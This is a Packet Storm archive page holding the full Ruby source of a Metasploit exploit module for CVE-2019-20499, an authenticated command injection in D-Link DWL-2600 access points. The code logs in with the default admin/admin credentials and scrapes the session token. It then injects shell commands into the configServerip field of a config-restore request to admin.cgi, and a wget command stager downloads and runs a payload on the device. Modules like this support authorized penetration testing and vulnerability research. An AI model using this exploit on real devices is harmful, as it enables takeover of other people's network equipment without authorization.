what you don't know can hurt you

DLINK DWL-2600 Authenticated Remote Command Injection

DLINK DWL-2600 Authenticated Remote Command Injection
Posted Mar 28, 2020
Authored by Raki Ben Hamouda, Nick Starke | Site metasploit.com

This Metasploit module exploits some DLINK Access Points that are vulnerable to an authenticated OS command injection. Default credentials for the web interface are admin/admin.

tags | exploit, web
advisories | CVE-2019-20499
SHA-256 | a2f0e8cf76051e688f4ad0f0c6c2006837b156b7ef27c777a6a73c0c8435e559

DLINK DWL-2600 Authenticated Remote Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'DLINK DWL-2600 Authenticated Remote Command Injection',
'Description' => %q{
Some DLINK Access Points are vulnerable to an authenticated OS command injection.
Default credentials for the web interface are admin/admin.
},
'Author' =>
[
'RAKI BEN HAMOUDA', # Vulnerability discovery and original research
'Nick Starke' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-20499' ],
[ 'EDB', '46841' ]
],
'DisclosureDate' => 'May 15 2019',
'Privileged' => true,
'Platform' => %w{ linux unix },
'Payload' =>
{
'DisableNops' => true,
'BadChars' => "\x00"
},
'CmdStagerFlavor' => :wget,
'Targets' =>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mips Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))

register_options(
[
OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
OptString.new('TARGETURI', [ true, 'Base path to the Dlink web interface', '/' ])
])
end

def execute_command(cmd, opts={})
bogus = Rex::Text.rand_text_alpha(rand(10))

post_data = Rex::MIME::Message.new
post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"")
post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"")
post_data.add_part("; #{cmd} ;", nil, nil, "form-data; name=\"configServerip\"")

print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin.cgi'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => "sessionHTTP=#{@token};",
'data' => post_data.to_s,
'query' => 'action=config_restore'
})

unless res || res.code != 200
fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!")
end

rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end

def exploit
user = datastore['HttpUsername']
pass = datastore['HttpPassword']
rhost = datastore['RHOST']
rport = datastore['RPORT']

print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/admin.cgi'),
'method' => 'POST',
'vars_post' => {
'i_username' => user,
'i_password' => pass,
'login' => 'Logon'
}
})

unless res && res.code != 404
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end

unless [200, 301, 302].include?(res.code)
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end

print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")

delstart = 'var cookieValue = "'
tokenoffset = res.body.index(delstart) + delstart.size
endoffset = res.body.index('";', tokenoffset)
@token = res.body[tokenoffset, endoffset - tokenoffset]

if @token.empty?
fail_with(Failure::NoAccess, "#{peer} - No Auth token received")
end

print_good("#{peer} - Received Auth token: #{@token}")
if target.name =~ /CMD/
unless datastore['CMD']
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 100, noconcat: true)
end
end
end
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    19 Files
  • 25
    May 25th
    5 Files
  • 26
    May 26th
    12 Files
  • 27
    May 27th
    12 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close